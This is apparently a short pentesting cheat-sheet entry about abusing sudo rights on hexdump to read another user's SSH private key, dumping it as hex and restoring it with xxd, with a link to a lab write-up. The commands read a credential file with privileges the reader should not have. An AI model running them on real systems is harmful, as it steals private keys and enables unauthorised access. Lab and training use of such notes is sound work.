Skip to main content

Hexdump Privileged File Read

Read with Hexdump

sudo -u user.name /usr/bin/hexdump -v -e '/1 "%02x"' /home/user.name/.ssh/id_rsa > hex.dump

-v -e '/1 "%02x"' syntax tells hexdump to read byte-per-byte and output in lowercase hexadecimal, whereas hexdump may not preserve the original byte order of the file (or mask duplicates with a *), leading to scrambling of data.

Restore Original

Note: If the file is a standard hexdump and not a byte-per-byte read, use xxd -r without the -p flag.

The easiest way to identify this is if there are leading offsets such as 00000000 and so on.

xxd -r -p hex.dump > id_rsa

Convert from hexdump hexadecimal output back to original file encoding (probably UTF-8)

Example

https://benheater.com/hackmyvm-winter/#sudo-abuse